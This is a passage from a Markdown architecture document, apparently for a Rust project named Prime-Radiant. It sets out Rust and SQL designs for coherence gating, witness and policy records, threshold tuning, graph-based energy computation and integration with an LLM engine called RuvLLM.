};\n\n // Check for persistent incoherence\n let persistent = history.is_above_threshold(\n &action.scope,\n self.retrieval_threshold,\n self.persistence_window,\n );\n\n // Create witness record\n let witness = WitnessRecord::new(\n action,\n energy,\n lane,\n self.policy_bundle.clone(),\n );\n\n // Deny if persistent incoherence and not escalated\n if persistent && lane < ComputeLane::Heavy {\n return GateDecision {\n allow: false,\n lane: ComputeLane::Heavy, // Require escalation\n witness,\n denial_reason: Some(\"Persistent incoherence detected\".into()),\n };\n }\n\n GateDecision {\n allow: lane < ComputeLane::Human,\n lane,\n witness,\n denial_reason: if lane == ComputeLane::Human {\n Some(\"Energy exceeds all automatic thresholds\".into())\n } else {\n None\n },\n }\n }\n}\n```\n\n### 4. Governance Layer (`governance/`)\n\nFirst-class, immutable, addressable governance objects (ADR-0005).\n\n#### Policy Bundle\n\n```rust\n/// Versioned, signed policy bundle for threshold configuration\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct PolicyBundle {\n /// Unique bundle identifier\n pub id: PolicyBundleId,\n /// Semantic version\n pub version: Version,\n /// Threshold configurations by scope\n pub thresholds: HashMap,\n /// Escalation rules\n pub escalation_rules: Vec,\n /// Digital signature for integrity\n pub signature: Signature,\n /// Approvers who signed this bundle\n pub approvers: Vec,\n /// Minimum required approvals\n pub required_approvals: usize,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ThresholdConfig {\n pub reflex: f32,\n pub retrieval: f32,\n pub heavy: f32,\n pub persistence_window_secs: u64,\n}\n```\n\n#### Witness Record\n\n```rust\n/// Immutable proof of every gate decision\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct WitnessRecord {\n /// Unique witness identifier\n pub id: WitnessId,\n /// Action that was evaluated\n pub action_hash: Hash,\n /// Energy at time of evaluation\n pub energy_snapshot: CoherenceEnergy,\n /// Gate decision made\n pub decision: GateDecision,\n /// Policy bundle used\n pub policy_bundle_ref: PolicyBundleRef,\n /// Timestamp\n pub timestamp: Timestamp,\n /// Hash chain reference to previous witness\n pub previous_witness: Option,\n}\n\nimpl WitnessRecord {\n /// Compute content hash for integrity\n pub fn content_hash(&self) -> Hash {\n let mut hasher = Blake3::new();\n hasher.update(&self.action_hash);\n hasher.update(&bincode::serialize(&self.energy_snapshot).unwrap());\n hasher.update(&bincode::serialize(&self.decision).unwrap());\n hasher.update(&self.policy_bundle_ref.as_bytes());\n hasher.finalize().into()\n }\n}\n```\n\n#### Lineage Record\n\n```rust\n/// Provenance tracking for all authoritative writes\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct LineageRecord {\n /// Unique lineage identifier\n pub id: LineageId,\n /// Entity that was modified\n pub entity_ref: EntityRef,\n /// Operation type\n pub operation: Operation,\n /// Causal dependencies (previous lineage records)\n pub dependencies: Vec,\n /// Witness that authorized this write\n pub authorizing_witness: WitnessId,\n /// Actor who performed the write\n pub actor: ActorId,\n /// Timestamp\n pub timestamp: Timestamp,\n}\n```\n\n### 5. Cognitum Gate Tile Fabric (`tiles/`)\n\nLeverages the existing `cognitum-gate-kernel` for distributed coherence computation.\n\n#### 256-Tile Architecture\n\n```rust\nuse cognitum_gate_kernel::{TileState, Delta, WitnessFragment, EvidenceAccumulator};\n\n/// Coherence fabric using 256 WASM tiles\npub struct CoherenceFabric {\n /// All tiles (each ~64KB)\n tiles: [TileState; 256],\n /// Global witness aggregator\n witness_aggregator: WitnessAggregator,\n /// Tile-to-shard mapping\n shard_map: ShardMap,\n}\n\nimpl CoherenceFabric {\n /// Distribute a node update to the appropriate tile\n pub fn distribute_update(&mut self, node_id: NodeId, new_state: &[f32]) {\n let tile_id = self.shard_map.tile_for_node(node_id);\n let delta = Delta::observation(Observation::state_update(node_id, new_state));\n self.tiles[tile_id as usize].ingest_delta(&delta);\n }\n\n /// Execute one tick across all tiles (parallelizable)\n pub fn tick(&mut self, tick_number: u32) -> FabricReport {\n let reports: Vec = self.tiles\n .par_iter_mut()\n .map(|tile| tile.tick(tick_number))\n .collect();\n\n // Aggregate witness fragments for global coherence\n let global_witness = self.witness_aggregator.aggregate(\n reports.iter().map(|r| r.witness).collect()\n );\n\n // Compute global energy from tile energies\n let global_energy: f32 = reports.iter()\n .map(|r| r.log_e_value)\n .sum();\n\n FabricReport {\n tick: tick_number,\n global_energy,\n global_witness,\n tile_reports: reports,\n }\n }\n}\n```\n\n#### E-Value Evidence Accumulation\n\nThe `cognitum-gate-kernel` already implements sequential hypothesis testing:\n\n```rust\n// From cognitum-gate-kernel - used directly\nimpl EvidenceAccumulator {\n /// Process observation and update e-values\n pub fn process_observation(&mut self, obs: Observation, tick: u32) {\n // E-value accumulation for anytime-valid inference\n // Allows stopping rule based on evidence strength\n }\n\n /// Global e-value (product of local e-values)\n pub fn global_e_value(&self) -> f64 {\n // Returns accumulated evidence for/against coherence hypothesis\n }\n}\n```\n\n### 6. SONA Threshold Tuning (`sona_tuning/`)\n\nIntegrates `sona` for self-optimizing threshold management.\n\n#### Adaptive Threshold Learning\n\n```rust\nuse sona::{SonaEngine, SonaConfig, MicroLoRA, EwcPlusPlus, ReasoningBank};\n\n/// Self-optimizing threshold tuner\npub struct SonaThresholdTuner {\n engine: SonaEngine,\n /// Pattern bank for successful threshold configurations\n reasoning_bank: ReasoningBank,\n /// Current threshold configuration\n current_thresholds: ThresholdConfig,\n}\n\nimpl SonaThresholdTuner {\n pub fn new(config: SonaConfig) -> Self {\n Self {\n engine: SonaEngine::new(config),\n reasoning_bank: ReasoningBank::new(PatternConfig::default()),\n current_thresholds: ThresholdConfig::default(),\n }\n }\n\n /// Begin trajectory when entering a new operational regime\n pub fn begin_regime(&mut self, energy_trace: Vec) -> TrajectoryBuilder {\n self.engine.begin_trajectory(energy_trace)\n }\n\n /// Learn from outcome (did the thresholds work?)\n pub fn learn_outcome(&mut self, builder: TrajectoryBuilder, success_score: f32) {\n // End trajectory triggers Micro-LoRA instant learning\n self.engine.end_trajectory(builder, success_score);\n\n // If successful, store pattern for future reference\n if success_score > 0.8 {\n self.reasoning_bank.store_pattern(\n \"threshold_success\",\n &self.current_thresholds,\n );\n }\n }\n\n /// Query for similar past configurations\n pub fn find_similar_regime(&self, current_energy: &[f32]) -> Option {\n self.reasoning_bank.query_similar(current_energy, 0.9)\n .map(|pattern| pattern.decode())\n }\n\n /// Apply EWC++ to prevent catastrophic forgetting when learning new thresholds\n pub fn consolidate_knowledge(&mut self) {\n // EWC++ preserves important weights when adapting to new regimes\n self.engine.consolidate_ewc();\n }\n}\n```\n\n#### Three Learning Loops\n\n```rust\nuse sona::{InstantLoop, BackgroundLoop, LoopCoordinator};\n\n/// Coordinated learning across three timescales\npub struct ThresholdLearningCoordinator {\n /// Instant adaptation (<0.05ms) - Micro-LoRA\n instant: InstantLoop,\n /// Background learning (async) - Base-LoRA\n background: BackgroundLoop,\n /// Coordination between loops\n coordinator: LoopCoordinator,\n}\n\nimpl ThresholdLearningCoordinator {\n /// React instantly to energy spikes\n pub fn instant_adapt(&mut self, energy_spike: f32) -> ThresholdAdjustment {\n // Micro-LoRA provides immediate threshold adjustment\n self.instant.adapt(energy_spike)\n }\n\n /// Background optimization (runs in separate thread)\n pub fn background_optimize(&mut self, trace_history: &[EnergyTrace]) {\n self.background.optimize(trace_history);\n }\n\n /// Coordinate to prevent conflicts\n pub fn sync(&mut self) {\n self.coordinator.synchronize(&mut self.instant, &mut self.background);\n }\n}\n```\n\n### 7. Learned Restriction Maps (`learned_rho/`)\n\nUses `ruvector-gnn` to learn restriction maps from data.\n\n#### GNN-Based Restriction Map Learning\n\n```rust\nuse ruvector_gnn::{\n RuvectorLayer, ElasticWeightConsolidation, ReplayBuffer,\n Optimizer, OptimizerType, LearningRateScheduler, SchedulerType,\n};\n\n/// Learned restriction map using GNN\npub struct LearnedRestrictionMap {\n /// Neural network layer for \u03c1\n layer: RuvectorLayer,\n /// EWC to prevent forgetting\n ewc: ElasticWeightConsolidation,\n /// Experience replay for stable learning\n replay: ReplayBuffer,\n /// Optimizer\n optimizer: Optimizer,\n /// LR scheduler\n scheduler: LearningRateScheduler,\n}\n\nimpl LearnedRestrictionMap {\n pub fn new(input_dim: usize, output_dim: usize) -> Self {\n Self {\n layer: RuvectorLayer::new(input_dim, output_dim),\n ewc: ElasticWeightConsolidation::new(0.4), // \u03bb = 0.4\n replay: ReplayBuffer::new(10000),\n optimizer: Optimizer::new(OptimizerType::Adam {\n learning_rate: 0.001,\n beta1: 0.9,\n beta2: 0.999,\n epsilon: 1e-8,\n }),\n scheduler: LearningRateScheduler::new(\n SchedulerType::CosineAnnealing { t_max: 100, eta_min: 1e-6 },\n 0.001,\n ),\n }\n }\n\n /// Apply learned restriction map\n pub fn apply(&self, input: &[f32]) -> Vec {\n self.layer.forward(input)\n }\n\n /// Train on known-coherent examples\n pub fn train(&mut self, source: &[f32], target: &[f32], expected_residual: &[f32]) {\n // Store experience\n self.replay.add(source.to_vec(), target.to_vec(), expected_residual.to_vec());\n\n // Sample batch from replay buffer\n let batch = self.replay.sample(32);\n\n // Compute loss (minimize residual difference)\n let predicted = self.layer.forward_batch(&batch.sources);\n let loss = self.compute_residual_loss(&predicted, &batch.expected);\n\n // Backward with EWC regularization\n let ewc_loss = self.ewc.compute_ewc_loss(&self.layer);\n let total_loss = loss + ewc_loss;\n\n // Update\n self.optimizer.step(&mut self.layer, total_loss);\n self.scheduler.step();\n }\n\n /// Consolidate after training epoch (compute Fisher information)\n pub fn consolidate(&mut self) {\n self.ewc.consolidate(&self.layer);\n }\n}\n```\n\n### 8. Hyperbolic Coherence (`hyperbolic/`)\n\nHierarchy-aware energy using `ruvector-hyperbolic-hnsw`.\n\n#### Poincar\u00e9 Ball Energy Weighting\n\n```rust\nuse ruvector_hyperbolic_hnsw::{\n HyperbolicHnsw, HyperbolicHnswConfig, poincare_distance,\n project_to_ball, log_map, ShardedHyperbolicHnsw,\n};\n\n/// Hyperbolic coherence with depth-aware energy\npub struct HyperbolicCoherence {\n /// Hyperbolic index for hierarchy-aware search\n index: ShardedHyperbolicHnsw,\n /// Curvature (typically -1.0)\n curvature: f32,\n}\n\nimpl HyperbolicCoherence {\n /// Compute hierarchy-weighted energy\n ///\n /// Deeper nodes (further from origin in Poincar\u00e9 ball) have\n /// lower \"expected\" energy, so violations are weighted higher.\n pub fn weighted_energy(&self, edge: &SheafEdge, residual: &[f32]) -> f32 {\n let source_depth = self.compute_depth(&edge.source);\n let target_depth = self.compute_depth(&edge.target);\n let avg_depth = (source_depth + target_depth) / 2.0;\n\n // Deeper nodes: higher weight for violations (they should be more coherent)\n let depth_weight = 1.0 + avg_depth.ln().max(0.0);\n\n let residual_norm_sq: f32 = residual.iter().map(|x| x * x).sum();\n edge.weight * residual_norm_sq * depth_weight\n }\n\n /// Compute depth as distance from origin in Poincar\u00e9 ball\n fn compute_depth(&self, node_id: &NodeId) -> f32 {\n let state = self.index.get_vector(node_id);\n let origin = vec![0.0; state.len()];\n poincare_distance(&state, &origin, self.curvature)\n }\n\n /// Project state to Poincar\u00e9 ball for hierarchy-aware storage\n pub fn project_state(&self, state: &[f32]) -> Vec {\n project_to_ball(state, self.curvature)\n }\n}\n```\n\n### 9. MinCut Subgraph Isolation (`mincut/`)\n\nUses `ruvector-mincut` for efficient incoherent region isolation.\n\n#### Subpolynomial Dynamic MinCut\n\n```rust\nuse ruvector_mincut::{\n SubpolynomialMinCut, SubpolyConfig, MinCutResult,\n CognitiveMinCutEngine, EngineConfig, WitnessTree,\n};\n\n/// Isolate incoherent subgraphs using n^o(1) mincut\npub struct IncoherenceIsolator {\n /// Subpolynomial mincut algorithm\n mincut: SubpolynomialMinCut,\n /// Cognitive engine for SNN-based optimization\n cognitive: CognitiveMinCutEngine,\n}\n\nimpl IncoherenceIsolator {\n pub fn new() -> Self {\n let config = SubpolyConfig::default();\n let engine_config = EngineConfig::default();\n\n Self {\n mincut: SubpolynomialMinCut::new(config),\n cognitive: CognitiveMinCutEngine::new(DynamicGraph::new(), engine_config),\n }\n }\n\n /// Find minimum cut to isolate high-energy region\n pub fn isolate_incoherent_region(\n &mut self,\n graph: &SheafGraph,\n energy: &CoherenceEnergy,\n threshold: f32,\n ) -> IsolationResult {\n // Build weighted graph where edge weights = residual energy\n for (edge_id, edge_energy) in &energy.edge_energies {\n if *edge_energy > threshold {\n let edge = &graph.edges[edge_id];\n self.mincut.insert_edge(\n edge.source.as_u64(),\n edge.target.as_u64(),\n *edge_energy as f64,\n ).ok();\n }\n }\n\n // Compute minimum cut (n^o(1) amortized time!)\n let result = self.mincut.min_cut();\n\n IsolationResult {\n cut_value: result.value,\n partition: result.partition,\n cut_edges: result.cut_edges,\n }\n }\n\n /// Use SNN for continuous monitoring and optimization\n pub fn cognitive_monitor(&mut self, ticks: u32) -> Vec {\n self.cognitive.run(ticks)\n }\n}\n```\n\n### 10. Neural Coherence Gate (`neural_gate/`)\n\nIntegrates `ruvector-nervous-system` for biologically-inspired gating.\n\n#### CoherenceGatedSystem Integration\n\n```rust\nuse ruvector_nervous_system::{\n CoherenceGatedSystem, GlobalWorkspace, HysteresisTracker,\n OscillatoryRouter, Dendrite, DendriticTree, HdcMemory, Hypervector,\n};\n\n/// Neural coherence gate using existing CoherenceGatedSystem\npub struct NeuralCoherenceGate {\n /// The existing coherence-gated system from ruvector-nervous-system\n system: CoherenceGatedSystem,\n /// Global workspace for conscious access\n workspace: GlobalWorkspace,\n /// Hysteresis to prevent oscillation\n hysteresis: HysteresisTracker,\n /// HDC memory for witness encoding\n hdc_memory: HdcMemory,\n /// Dendritic coincidence detection for threshold firing\n dendrites: DendriticTree,\n}\n\nimpl NeuralCoherenceGate {\n /// Evaluate using biologically-inspired gating\n pub fn evaluate(&mut self, energy: f32, context: &Context) -> NeuralDecision {\n // Dendritic coincidence detection\n // Fires only if multiple \"synapses\" (evidence sources) are active within window\n for evidence in context.evidence_sources() {\n self.dendrites.receive_spike(evidence.id, context.timestamp);\n }\n\n let plateau_triggered = self.dendrites.update(context.timestamp, 1.0);\n\n // Hysteresis prevents rapid oscillation\n let stable_decision = self.hysteresis.filter(energy, plateau_triggered);\n\n // Global workspace broadcast if significant\n if stable_decision.is_significant() {\n self.workspace.broadcast(stable_decision.clone());\n }\n\n stable_decision\n }\n\n /// Encode witness as hypervector (compact, similarity-preserving)\n pub fn encode_witness(&mut self, witness: &WitnessRecord) -> Hypervector {\n // HDC encoding: bind energy + decision + policy\n let energy_hv = Hypervector::from_scalar(witness.energy_snapshot.total_energy);\n let decision_hv = Hypervector::from_enum(&witness.decision);\n let policy_hv = Hypervector::from_bytes(&witness.policy_bundle_ref.as_bytes());\n\n // Bind all components\n let bound = energy_hv.bind(&decision_hv).bind(&policy_hv);\n\n // Store in memory for similarity search\n self.hdc_memory.store(&witness.id.to_string(), bound.clone());\n\n bound\n }\n\n /// Find similar past witnesses\n pub fn find_similar_witnesses(&self, query: &Hypervector, threshold: f32) -> Vec {\n self.hdc_memory.retrieve(query, threshold)\n .into_iter()\n .map(|(id, _)| id)\n .collect()\n }\n}\n```\n\n### 11. Attention-Weighted Residuals (`attention/`)\n\nUses `ruvector-attention` for intelligent residual weighting.\n\n#### Topology-Gated Attention\n\n```rust\nuse ruvector_attention::{\n TopologyGatedAttention, TopologyGatedConfig, AttentionMode,\n MoEAttention, MoEConfig, DiffusionAttention, DiffusionConfig,\n FlashAttention,\n};\n\n/// Attention-weighted coherence computation\npub struct AttentionCoherence {\n /// Topology-gated attention (already has coherence metrics!)\n topo_attention: TopologyGatedAttention,\n /// Mixture of Experts for specialized weighting\n moe: MoEAttention,\n /// PDE-based diffusion attention for smooth propagation\n diffusion: DiffusionAttention,\n}\n\nimpl AttentionCoherence {\n /// Compute attention-weighted residuals\n pub fn weighted_residuals(\n &self,\n graph: &SheafGraph,\n residuals: &HashMap>,\n ) -> HashMap {\n // Use topology-gated attention to weight by structural importance\n let node_states: Vec<&[f32]> = graph.nodes.values()\n .map(|n| n.state.as_slice())\n .collect();\n\n // Compute attention scores\n let attention_scores = self.topo_attention.compute_scores(&node_states);\n\n // Weight residuals by attention\n residuals.iter()\n .map(|(edge_id, r)| {\n let edge = &graph.edges[edge_id];\n let source_attention = attention_scores.get(&edge.source).unwrap_or(&1.0);\n let target_attention = attention_scores.get(&edge.target).unwrap_or(&1.0);\n\n let attention_weight = (source_attention + target_attention) / 2.0;\n let residual_norm: f32 = r.iter().map(|x| x * x).sum();\n\n (*edge_id, residual_norm * attention_weight)\n })\n .collect()\n }\n\n /// Use MoE for specialized residual processing\n pub fn moe_route_residual(&self, residual: &[f32], context: &[f32]) -> Vec {\n // Route to specialized expert based on residual characteristics\n self.moe.forward(residual, context)\n }\n\n /// Diffusion-based energy propagation\n pub fn diffuse_energy(&self, energy: &CoherenceEnergy, steps: usize) -> CoherenceEnergy {\n // PDE-based smoothing of energy across graph\n self.diffusion.propagate(energy, steps)\n }\n}\n```\n\n### 12. Distributed Coherence (`distributed/`)\n\nUses `ruvector-raft` for multi-node sheaf synchronization.\n\n#### Raft-Based Consensus\n\n```rust\nuse ruvector_raft::{RaftNode, RaftConfig, LogEntry, ConsensusState};\n\n/// Distributed coherence across multiple nodes\npub struct DistributedCoherence {\n /// Raft consensus node\n raft: RaftNode,\n /// Local sheaf graph\n local_graph: SheafGraph,\n /// Pending updates to replicate\n pending: Vec,\n}\n\nimpl DistributedCoherence {\n /// Propose a graph update to the cluster\n pub async fn propose_update(&mut self, update: GraphUpdate) -> Result<(), ConsensusError> {\n let entry = LogEntry::new(bincode::serialize(&update)?);\n self.raft.propose(entry).await?;\n Ok(())\n }\n\n /// Apply committed updates from Raft log\n pub fn apply_committed(&mut self) {\n while let Some(entry) = self.raft.next_committed() {\n let update: GraphUpdate = bincode::deserialize(&entry.data).unwrap();\n self.local_graph.apply_update(update);\n }\n }\n\n /// Get global coherence (leader aggregates from all nodes)\n pub async fn global_coherence(&self) -> Result {\n if self.raft.is_leader() {\n // Aggregate from all followers\n let energies = self.raft.collect_from_followers(|node| {\n node.local_coherence()\n }).await?;\n\n Ok(self.aggregate_energies(energies))\n } else {\n // Forward to leader\n self.raft.forward_to_leader(Request::GlobalCoherence).await\n }\n }\n}\n```\n\n### 13. Storage Layer (`storage/`)\n\nHybrid storage with PostgreSQL for authority and ruvector for graph operations.\n\n#### PostgreSQL Schema (Authority)\n\n```sql\n-- Policy bundles (immutable)\nCREATE TABLE policy_bundles (\n id UUID PRIMARY KEY,\n version VARCHAR(32) NOT NULL,\n thresholds JSONB NOT NULL,\n escalation_rules JSONB NOT NULL,\n signature BYTEA NOT NULL,\n approvers UUID[] NOT NULL,\n required_approvals INT NOT NULL,\n created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()\n);\n\n-- Witness records (append-only)\nCREATE TABLE witness_records (\n id UUID PRIMARY KEY,\n action_hash BYTEA NOT NULL,\n energy_snapshot JSONB NOT NULL,\n decision JSONB NOT NULL,\n policy_bundle_id UUID REFERENCES policy_bundles(id),\n timestamp TIMESTAMPTZ NOT NULL,\n previous_witness UUID REFERENCES witness_records(id),\n content_hash BYTEA NOT NULL\n);\n\n-- Lineage records (append-only)\nCREATE TABLE lineage_records (\n id UUID PRIMARY KEY,\n entity_ref JSONB NOT NULL,\n operation VARCHAR(32) NOT NULL,\n dependencies UUID[] NOT NULL,\n authorizing_witness UUID REFERENCES witness_records(id),\n actor UUID NOT NULL,\n timestamp TIMESTAMPTZ NOT NULL\n);\n\n-- Event log (deterministic replay)\nCREATE TABLE event_log (\n sequence_id BIGSERIAL PRIMARY KEY,\n event_type VARCHAR(64) NOT NULL,\n payload JSONB NOT NULL,\n timestamp TIMESTAMPTZ NOT NULL DEFAULT NOW(),\n signature BYTEA NOT NULL\n);\n```\n\n#### Ruvector Integration\n\n```rust\n/// Graph substrate using ruvector for vector/graph operations\npub struct RuvectorSubstrate {\n /// Node state vectors (HNSW indexed)\n node_store: VectorDB,\n /// Edge data with restriction maps\n edge_store: GraphStore,\n /// Cached residuals for incremental computation\n residual_cache: ResidualCache,\n}\n\nimpl RuvectorSubstrate {\n /// Find nodes similar to a query state\n pub async fn find_similar_nodes(\n &self,\n query_state: &[f32],\n k: usize,\n ) -> Vec<(NodeId, f32)> {\n self.node_store.search(query_state, k).await\n }\n\n /// Get subgraph for localized coherence computation\n pub async fn get_subgraph(&self, center: NodeId, hops: usize) -> SheafSubgraph {\n let node_ids = self.edge_store.bfs(center, hops).await;\n let nodes = self.node_store.get_batch(&node_ids).await;\n let edges = self.edge_store.edges_within(&node_ids).await;\n\n SheafSubgraph { nodes, edges }\n }\n}\n```\n\n---\n\n## RuvLLM Integration\n\nPrime-Radiant integrates deeply with `ruvllm` to provide **coherence-gated LLM inference** where every generation decision is backed by structural witnesses.\n\n### Architecture Overview\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 RUVLLM + PRIME-RADIANT INTEGRATION \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 RUVLLM ENGINE LAYER \u2502 \u2502\n\u2502 \u2502 RuvLLMEngine | PolicyStore | SessionManager | WitnessLog | SonaIntegration \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 QUALITY \u2502 \u2502 CONTEXT \u2502 \u2502 \u2502 REFLECTION \u2502 \u2502 REASONING \u2502 \u2502\n\u2502 \u2502 CoherenceVal. \u2502 \u2502 AgenticMemory \u2502 \u2502 \u2502 ReflectiveAgt \u2502 \u2502 ReasoningBank \u2502 \u2502\n\u2502 \u2502 DiversityAna. \u2502 \u2502 WorkingMemory \u2502\u25c4\u2500\u253c\u25ba\u2502 ConfidenceChk \u2502 \u2502 PatternStore \u2502 \u2502\n\u2502 \u2502 QualityScore \u2502 \u2502 EpisodicMem \u2502 \u2502 \u2502 ErrorLearner \u2502 \u2502 EWC++ Consol. \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u25bc \u2502 \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 PRIME-RADIANT COHERENCE LAYER \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 SheafGraph \u25c4\u2500\u2500\u2500 Context as Nodes \u25c4\u2500\u2500\u2500 Beliefs, Facts, Assertions \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 Residuals \u25c4\u2500\u2500\u2500 Semantic Consistency \u25c4\u2500\u2500\u2500 Citations, Implications \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 Energy \u25c4\u2500\u2500\u2500 Hallucination Detector \u25c4\u2500\u2500\u2500 Contradiction = High Energy \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 Gate \u25c4\u2500\u2500\u2500 Inference Control \u25c4\u2500\u2500\u2500 E < \u03b8: Generate | E > \u03b8: Refuse/Escalate \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 Witness \u25c4\u2500\u2500\u2500 Audit Trail \u25c4\u2500\u2500\u2500 Every refusal has cryptographic proof \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Integration Points\n\n| RuvLLM Component | Prime-Radiant Integration | Benefit |\n|------------------|---------------------------|---------|\n| `CoherenceValidator` | Uses sheaf energy instead of heuristics | Mathematical consistency, not pattern matching |\n| `WitnessLog` | Merged with Prime-Radiant governance | Single audit trail for all decisions |\n| `ReasoningBank` | Patterns become learned restriction maps | Experience improves constraint accuracy |\n| `SonaIntegration` | Shared threshold tuning | Unified adaptive learning across LLM and coherence |\n| `QualityScoringEngine` | Energy-weighted quality scores | Structural quality, not just surface metrics |\n| `ConfidenceChecker` | Coherence energy replaces confidence | \"I don't know\" is provable |\n| `AgenticMemory` | Memory entries become sheaf nodes | Context consistency is computable |\n| `ErrorPatternLearner` | Error patterns update restriction maps | System learns what \"incoherence\" means |\n\n### Key Integration Modules\n\n#### 1. Coherence-Backed Quality Scoring\n\n```rust\nuse prime_radiant::{SheafGraph, CoherenceEnergy, CoherenceGate};\nuse ruvllm::quality::{CoherenceValidator, CoherenceConfig, SemanticConsistencyResult};\n\n/// Enhanced CoherenceValidator backed by sheaf Laplacian\npub struct SheafCoherenceValidator {\n /// 